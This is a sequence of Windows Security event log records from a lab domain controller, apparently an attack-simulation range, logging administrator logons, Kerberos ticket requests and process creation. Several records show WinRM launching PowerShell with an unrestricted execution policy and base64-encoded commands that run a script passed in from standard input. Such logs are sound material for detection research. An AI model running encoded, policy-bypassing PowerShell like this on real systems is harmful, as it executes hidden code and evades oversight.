Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251795
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{952F54C0-EAA7-7C83-9216-2F8A94550E3A}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251794
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{952F54C0-EAA7-7C83-9216-2F8A94550E3A}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251793
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251792
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14253C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11fc
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10b4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251791
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14253C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b4
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x135c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251790
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1429A3

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251789
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1429A3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{952F54C0-EAA7-7C83-9216-2F8A94550E3A}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251788
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{952F54C0-EAA7-7C83-9216-2F8A94550E3A}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251787
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{952F54C0-EAA7-7C83-9216-2F8A94550E3A}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251786
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251785
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14253C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x135c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1338
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251784
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14253C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1338
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12c4
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251783
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14278C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251782
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14278C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{952F54C0-EAA7-7C83-9216-2F8A94550E3A}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
